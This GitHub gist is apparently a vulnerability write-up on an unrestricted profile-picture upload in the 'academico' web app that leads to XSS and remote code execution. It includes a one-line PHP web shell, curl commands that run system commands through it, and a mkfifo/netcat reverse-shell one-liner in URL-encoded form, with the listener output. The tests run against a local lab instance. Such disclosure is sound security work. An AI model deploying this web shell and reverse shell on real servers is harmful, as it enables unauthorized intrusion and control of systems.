Skip to content

Instantly share code, notes, and snippets.

@KhanMarshaI
Last active October 20, 2025 10:17
Show Gist options
  • Select an option

  • Save KhanMarshaI/86d0c1553355bb168084fffbdb6e7fea to your computer and use it in GitHub Desktop.

Select an option

Save KhanMarshaI/86d0c1553355bb168084fffbdb6e7fea to your computer and use it in GitHub Desktop.

Unrestricted File Upload to RCE

Vulnerability Classes Identified:

  • CWE-434: Unrestricted Upload of File with Dangerous Type
  • CWE-79: Cross-Site Scripting (XSS) via SVG
  • CWE-94: Code Injection (Remote Code Execution)
  • CWE-284: Improper Access Control (Student upload privileges)

Privilege Level: Student Account (Lowest Priv)

The OSS Branch of academico repo with default configuration, and storage type local.

We will go to user settings -> Profile Picture:

Settings

The profile picture upload lacks security filters and allow arbitrary file uploads (tested html, svg, php) files. The developers try to convert valid images to jpg:

┌──(kali㉿kali)-[~/Desktop/academico]
└─$ ls -laR storage/app/public/3/                                                                                                  
storage/app/public/3/:
total 52
drwxr-xr-x 3 kali kali  4096 Sep  3 05:40 .
drwxrwxr-x 7 kali kali  4096 Sep  3 07:09 ..
drwxr-xr-x 2 kali kali  4096 Sep  3 05:40 conversions
-rw-r--r-- 1 kali kali 39264 Sep  3 05:40 what-is-ai-artificial-intelligence.webp

storage/app/public/3/conversions:
total 100
drwxr-xr-x 2 kali kali  4096 Sep  3 05:40 .
drwxr-xr-x 3 kali kali  4096 Sep  3 05:40 ..
-rw-r--r-- 1 kali kali 90163 Sep  3 05:40 what-is-ai-artificial-intelligence-thumb.jpg

The conversion is with the same file name appended with -thumb and file extension to .jpg.

However the files that aren't valid images are stored as it is:

┌──(kali㉿kali)-[~/Desktop/academico]
└─$ ls -la storage/app/public/4/
total 12
drwxr-xr-x 2 kali kali 4096 Sep  3 06:33 .
drwxrwxr-x 6 kali kali 4096 Sep  3 06:33 ..
-rw-r--r-- 1 kali kali  362 Sep  3 06:33 xss.svg

The web app tries to render the uploaded profile picture:

  • http://localhost:8000/storage/4/conversions/xss-thumb.jpg

But fails to render it and shows a NOT FOUND page.

However with a bit of URL Manipulation, you can access the original file that you uploaded:

  • http://localhost:8000/storage/4/xss.svg

Triggered XSS via SVG

This is where the vulnerability becomes bigger, since we are able to upload any file and access it we can achieve Remote Code Execution:

We will create a simple web shell php script and upload it:

┌──(kali㉿kali)-[~/Downloads]
└─$ cat webshell.php 
<?php system($_GET['cmd']); ?>

As intended the application tries to serve the converted profile picture on:

  • http://localhost:8000/storage/5/conversions/webshell-thumb.jpg

Again, we will try and access the actual uploaded file:

Actual php file

Let's curl it and run a command:

┌──(kali㉿kali)-[~/Desktop/academico]
└─$ curl http://localhost:8000/storage/5/webshell.php?cmd=whoami                                                                   
kali

      

As seen we get a response, we will try to get a reverse shell as well:

  1. Let's craft a reverse shell (bash and nc are mostly default installations on linux environment):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 127.0.0.1 1234 >/tmp/f
  1. URL Encode it:
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20127.0.0.1%201234%20%3E%2Ftmp%2Ff
  1. Craft the URL and curl:
curl http://localhost:8000/storage/5/webshell.php?cmd='rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20127.0.0.1%201234%20%3E%2Ftmp%2Ff'

We get a reverse shell:

┌──(kali㉿kali)-[~/Downloads]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 56210
$ whoami
kali
$ 

Reverse Shell


Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment